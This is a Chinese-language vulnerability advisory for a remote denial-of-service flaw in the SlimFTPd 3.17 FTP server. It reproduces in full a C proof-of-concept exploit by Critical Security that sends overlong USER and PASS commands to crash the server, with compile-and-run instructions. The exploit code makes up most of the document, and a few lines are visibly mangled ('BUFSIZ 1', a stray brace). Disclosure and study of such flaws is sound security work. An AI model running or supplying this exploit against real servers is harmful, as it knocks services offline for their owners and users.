WhitSoft Development SlimFTPd远程拒绝服务漏洞
发布日期：2005-09-05
更新日期：2005-09-05
受影响系统：
WhitSoft Development SlimFTPd 3.17描述：
BUGTRAQ ID: 14723
SlimFTPd是一个小型的FTP服务器工具,完全支持多线程技术。
SlimFTPd中存在远程拒绝服务漏洞，起因是登录时没有正确的过滤user/pass命令输入。服务器在遭遇攻击后可能会导致30-60秒的崩溃。
<*来源：Critical Security （http://www.critical.lt）
链接：http://www.critical.lt/?vulnerabilities/8
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Slim FTPd 3.17 Remote DoS PoC Exploit
Public proof of concept code by "Critical Security" http://www.critical.lt
Use for education only! Don't break the law...
Original Advisory may be found here: http://www.critical.lt/?vulnerabilities/8
Exploit compiles without warnings on FreeBSD 5.4-RELEASE
Tested against Slim FTPd 3.17 on Windows XP SP 2
Compilation:
mircia$ uname -sr
FreeBSD 5.4-RELEASE-p6
mircia$ gcc this_file.c -o expl
mircia$ ./expl localhost
here goes output
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 21
#define USER "USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n" //
#define PASS "PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n" // Our dirty requests ;)
#define QUIT "QUIT" // after all we just quit
int main(int argc, char *argv[]) {
register int s;
register int bytes;
struct sockaddr_in sa;
struct hostent *he;
char buf[BUFSIZ 1];
char *host;
if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("pizute");
return 1;
}
bzero(&sa, sizeof sa);
sa.sin_family = AF_INET;
if (argc <= 1) {
printf("%s%s%s","Usage: ",argv[0]," hostname or ip\n\n");
} else {
host = (char *)argv[1];
sa.sin_port = htons(PORT);
if ((he = gethostbyname(host)) == NULL) {
perror(host);
return 2;
}
printf ("%s","\nCritical Security web-site: http://www.critical.lt\n");
printf ("%s","Slim FTPd 3.17 lame PoC DoS exploit.\n");
printf ("%s","greets to Lithuanian girlz :)\n\n");
printf ("%s%s%s","[*] Initiating attack against ",host, "\n");
bcopy(he->h_addr_list[0],&sa.sin_addr, he->h_length);
if (connect(s, (struct sockaddr *)&sa, sizeof sa) < 0) {
perror("connect");
return 3;
}
write(s,USER,sizeof USER); // dirty dirty dirty...
write(s,PASS,sizeof PASS);
write(s,QUIT,sizeof QUIT);
printf("%s","[*] Stuff sent, now wait for 30-120 seconds,\nserver should crash, if's not - try again or write a better code :P\n");
close(s);
return 0;
}}
建议：
厂商补丁：
WhitSoft Development
--------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.whitsoftdev.com/slimftpd/
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
